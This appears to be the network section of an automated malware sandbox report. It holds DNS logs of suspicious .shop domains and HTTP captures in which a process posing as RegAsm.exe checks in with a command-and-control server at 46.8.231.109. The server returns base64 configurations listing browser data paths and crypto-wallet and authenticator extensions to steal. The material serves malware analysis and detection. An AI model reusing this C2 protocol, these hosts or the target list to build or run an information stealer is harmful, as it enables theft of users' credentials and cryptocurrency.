Sep 15, 2024 19:37:45.453063965 CEST	53	57008	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:45.456533909 CEST	55371	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:45.470565081 CEST	53	55371	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:46.904345036 CEST	64217	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:46.917536974 CEST	53	64217	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:47.876729012 CEST	64985	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:47.889384985 CEST	53	64985	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:48.847064018 CEST	51352	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:48.861294031 CEST	53	51352	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:49.830174923 CEST	64018	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:49.840387106 CEST	53	64018	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:49.843744040 CEST	64875	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:49.858028889 CEST	53	64875	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:50.848248959 CEST	49687	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:50.861136913 CEST	53	49687	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:51.773252964 CEST	59902	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:51.780205965 CEST	53	59902	1.1.1.1	192.168.2.6
Sep 15, 2024 19:37:53.055958986 CEST	60911	53	192.168.2.6	1.1.1.1
Sep 15, 2024 19:37:53.067003012 CEST	53	60911	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 15, 2024 19:36:56.381584883 CEST	192.168.2.6	1.1.1.1	0x3565	Standard query (0)	t.me	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:32.064184904 CEST	192.168.2.6	1.1.1.1	0xb673	Standard query (0)	brasstech.in	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:45.443445921 CEST	192.168.2.6	1.1.1.1	0x724d	Standard query (0)	preachstrwnwjw.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:45.456533909 CEST	192.168.2.6	1.1.1.1	0xb1c0	Standard query (0)	complainnykso.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:46.904345036 CEST	192.168.2.6	1.1.1.1	0x8237	Standard query (0)	basedsymsotp.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:47.876729012 CEST	192.168.2.6	1.1.1.1	0xb3a8	Standard query (0)	charistmatwio.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:48.847064018 CEST	192.168.2.6	1.1.1.1	0x6ac5	Standard query (0)	grassemenwji.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:49.830174923 CEST	192.168.2.6	1.1.1.1	0x5f9	Standard query (0)	ignoracndwko.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:49.843744040 CEST	192.168.2.6	1.1.1.1	0xc331	Standard query (0)	stitchmiscpaew.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:50.848248959 CEST	192.168.2.6	1.1.1.1	0x3910	Standard query (0)	commisionipwn.shop	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:51.773252964 CEST	192.168.2.6	1.1.1.1	0x470d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:53.055958986 CEST	192.168.2.6	1.1.1.1	0x16d5	Standard query (0)	tenntysjuxmz.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 15, 2024 19:36:56.389497042 CEST	1.1.1.1	192.168.2.6	0x3565	No error (0)	t.me		149.154.167.99	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:32.275795937 CEST	1.1.1.1	192.168.2.6	0xb673	No error (0)	brasstech.in		192.185.139.21	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:45.453063965 CEST	1.1.1.1	192.168.2.6	0x724d	Name error (3)	preachstrwnwjw.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:45.470565081 CEST	1.1.1.1	192.168.2.6	0xb1c0	No error (0)	complainnykso.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:45.470565081 CEST	1.1.1.1	192.168.2.6	0xb1c0	No error (0)	complainnykso.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:46.917536974 CEST	1.1.1.1	192.168.2.6	0x8237	No error (0)	basedsymsotp.shop		172.67.221.198	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:46.917536974 CEST	1.1.1.1	192.168.2.6	0x8237	No error (0)	basedsymsotp.shop		104.21.78.130	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:47.889384985 CEST	1.1.1.1	192.168.2.6	0xb3a8	No error (0)	charistmatwio.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:47.889384985 CEST	1.1.1.1	192.168.2.6	0xb3a8	No error (0)	charistmatwio.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:48.861294031 CEST	1.1.1.1	192.168.2.6	0x6ac5	No error (0)	grassemenwji.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:48.861294031 CEST	1.1.1.1	192.168.2.6	0x6ac5	No error (0)	grassemenwji.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:49.840387106 CEST	1.1.1.1	192.168.2.6	0x5f9	Name error (3)	ignoracndwko.shop	none	none	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:49.858028889 CEST	1.1.1.1	192.168.2.6	0xc331	No error (0)	stitchmiscpaew.shop		104.21.26.150	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:49.858028889 CEST	1.1.1.1	192.168.2.6	0xc331	No error (0)	stitchmiscpaew.shop		172.67.136.135	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:50.861136913 CEST	1.1.1.1	192.168.2.6	0x3910	No error (0)	commisionipwn.shop		188.114.96.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:50.861136913 CEST	1.1.1.1	192.168.2.6	0x3910	No error (0)	commisionipwn.shop		188.114.97.3	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:51.780205965 CEST	1.1.1.1	192.168.2.6	0x470d	No error (0)	steamcommunity.com		23.50.98.133	A (IP address)	IN (0x0001)	false
Sep 15, 2024 19:37:53.067003012 CEST	1.1.1.1	192.168.2.6	0x16d5	Name error (3)	tenntysjuxmz.shop	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

t.me

159.69.100.83

brasstech.in

complainnykso.shop

basedsymsotp.shop

charistmatwio.shop

grassemenwji.shop

stitchmiscpaew.shop

commisionipwn.shop

steamcommunity.com

46.8.231.109

147.45.44.104

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49748	46.8.231.109	80	2632	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 15, 2024 19:37:33.805833101 CEST	87	OUT	GET / HTTP/1.1 Host: 46.8.231.109 Connection: Keep-Alive Cache-Control: no-cache
Sep 15, 2024 19:37:34.432127953 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:34 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 15, 2024 19:37:34.434801102 CEST	413	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKKEHIECFCAAFIEBGIDA Host: 46.8.231.109 Content-Length: 214 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 37 39 31 42 43 42 34 34 32 36 42 31 31 35 35 35 30 32 31 34 37 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4b 45 48 49 45 43 46 43 41 41 46 49 45 42 47 49 44 41 2d 2d 0d 0a Data Ascii: ------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="hwid"C791BCB4426B1155502147------AKKEHIECFCAAFIEBGIDAContent-Disposition: form-data; name="build"default------AKKEHIECFCAAFIEBGIDA--
Sep 15, 2024 19:37:35.153681993 CEST	407	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:34 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 4d 7a 4d 54 68 6c 4d 44 4d 31 4f 47 51 33 4e 47 4e 69 4d 6a 45 79 59 57 52 6a 4d 47 52 69 4f 57 49 34 5a 54 68 6d 4e 44 5a 6d 59 6a 51 31 4d 6d 52 68 4e 32 49 34 4d 44 49 30 59 6d 49 31 5a 6a 6c 68 5a 54 41 7a 59 6d 59 35 5a 44 49 7a 4d 44 63 33 4e 54 6b 32 4e 44 41 34 59 32 45 30 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzMzMThlMDM1OGQ3NGNiMjEyYWRjMGRiOWI4ZThmNDZmYjQ1MmRhN2I4MDI0YmI1ZjlhZTAzYmY5ZDIzMDc3NTk2NDA4Y2E0fHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Sep 15, 2024 19:37:35.156234026 CEST	467	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGDBAKFCFHCGDGCBAAKF Host: 46.8.231.109 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 42 41 4b 46 43 46 48 43 47 44 47 43 42 41 41 4b 46 2d 2d 0d 0a Data Ascii: ------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------BGDBAKFCFHCGDGCBAAKFContent-Disposition: form-data; name="message"browsers------BGDBAKFCFHCGDGCBAAKF--
Sep 15, 2024 19:37:35.339266062 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Sep 15, 2024 19:37:35.339287043 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Sep 15, 2024 19:37:35.340670109 CEST	466	OUT	POST /c4754d4f680ead72.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCFBKKEBKEBGIDHIEHCF Host: 46.8.231.109 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 33 33 31 38 65 30 33 35 38 64 37 34 63 62 32 31 32 61 64 63 30 64 62 39 62 38 65 38 66 34 36 66 62 34 35 32 64 61 37 62 38 30 32 34 62 62 35 66 39 61 65 30 33 62 66 39 64 32 33 30 37 37 35 39 36 34 30 38 63 61 34 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 42 4b 4b 45 42 4b 45 42 47 49 44 48 49 45 48 43 46 2d 2d 0d 0a Data Ascii: ------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="token"c3318e0358d74cb212adc0db9b8e8f46fb452da7b8024bb5f9ae03bf9d23077596408ca4------HCFBKKEBKEBGIDHIEHCFContent-Disposition: form-data; name="message"plugins------HCFBKKEBKEBGIDHIEHCF--
Sep 15, 2024 19:37:35.523566008 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 15 Sep 2024 17:37:35 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Sep 15, 2024 19:37:35.523627996 CEST	1236	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29
Sep 15, 2024 19:37:35.523678064 CEST	448	IN	Data Raw: 66 47 52 75 5a 32 31 73 59 6d 78 6a 62 32 52 6d 62 32 4a 77 5a 48 42 6c 59 32 46 68 5a 47 64 6d 59 6d 4e 6e 5a 32 5a 71 5a 6d 35 74 66 44 46 38 4d 48 77 77 66 45 74 6c 5a 58 42 6c 63 69 42 58 59 57 78 73 5a 58 52 38 62 48 42 70 62 47 4a 75 61 57 Data Ascii: fGRuZ21sYmxjb2Rmb2JwZHBlY2FhZGdmYmNnZ2ZqZm5tfDF8MHwwfEtlZXBlciBXYWxsZXR8bHBpbGJuaWlhYmFja2RqY2lvbmtvYmdsbWRkZmJjam98MXwwfDB8U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWd
Sep 15, 2024 19:37:35.523714066 CEST	1236	IN	Data Raw: 62 32 4a 35 66 47 70 75 61 32 56 73 5a 6d 46 75 61 6d 74 6c 59 57 52 76 62 6d 56 6a 59 57 4a 6c 61 47 46 73 62 57 4a 6e 63 47 5a 76 5a 47 70 74 66 44 46 38 4d 48 77 77 66 46 4a 76 62 6d 6c 75 49 46 64 68 62 47 78 6c 64 48 78 72 61 6d 31 76 62 32 Data Ascii: b2J5fGpua2VsZmFuamtlYWRvbmVjYWJlaGFsbWJncGZvZGptfDF8MHwwfFJvbmluIFdhbGxldHxram1vb2hsZ29rY2NvZGljampmZWJmb21sYmxqZ2Zoa3wxfDB8MHxCeW9uZXxubGdiaGRmZ2RoZ2JpYW1mZGZtYmlrY2RnaGlkb2FkZHwxfDB8MHxPbmVLZXl8am5tYm9iam1obG5nb2VmYWlvamZsamNraWxoaGxoY2p8MXw
Sep 15, 2024 19:37:35.523746967 CEST	1236	IN	Data Raw: 66 45 46 31 64 47 68 6c 62 6e 52 70 59 32 46 30 62 33 4a 38 59 6d 68 6e 61 47 39 68 62 57 46 77 59 32 52 77 59 6d 39 6f 63 47 68 70 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 Data Ascii: fEF1dGhlbnRpY2F0b3J8YmhnaG9hbWFwY2RwYm9ocGhpZ29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmh
Sep 15, 2024 19:37:35.523782015 CEST	448	IN	Data Raw: 61 6d 6c 72 59 57 70 6f 5a 6d 4a 76 62 57 68 73 62 57 31 76 62 47 78 77 61 47 4e 68 5a 48 77 78 66 44 42 38 4d 48 78 53 59 57 6c 75 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 Data Ascii: amlrYWpoZmJvbWhsbW1vbGxwaGNhZHwxfDB8MHxSYWluYm93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXw
Sep 15, 2024 19:37:35.523890018 CEST	1236	IN	Data Raw: 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 64 74 63 47 4e 77 5a 32 78 77 62 6d 64 6b 62 32 46 73 59 6d 64 6c 62 32 78 6b 5a 57 46 71 5a 6d 4e 73 62 6d 68 68 5a 6d 46 38 4d 58 77 77 66 44 Data Ascii: amthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1qYmNmb2Zjb25rYW5uam9uZm1qamFqcGxsZGRiZ3wxfDB8MHx
Sep 15, 2024 19:37:35.523952961 CEST	268	IN	Data Raw: 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d 5a 73 5a 57 78 76 59 33 42 68 61 33 77 78 66 44 42 38 4d 48 78 55 54 30 34 67 56 32 46 73 62 47 56 30 66 47 35 77 61 48 42 73 63 47 64 76 59 57 Data Ascii: dHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN3YXAgRXh0ZW5zaW9ufG5ucG1mcGxrZm9nZnBtY25ncGxobmJ
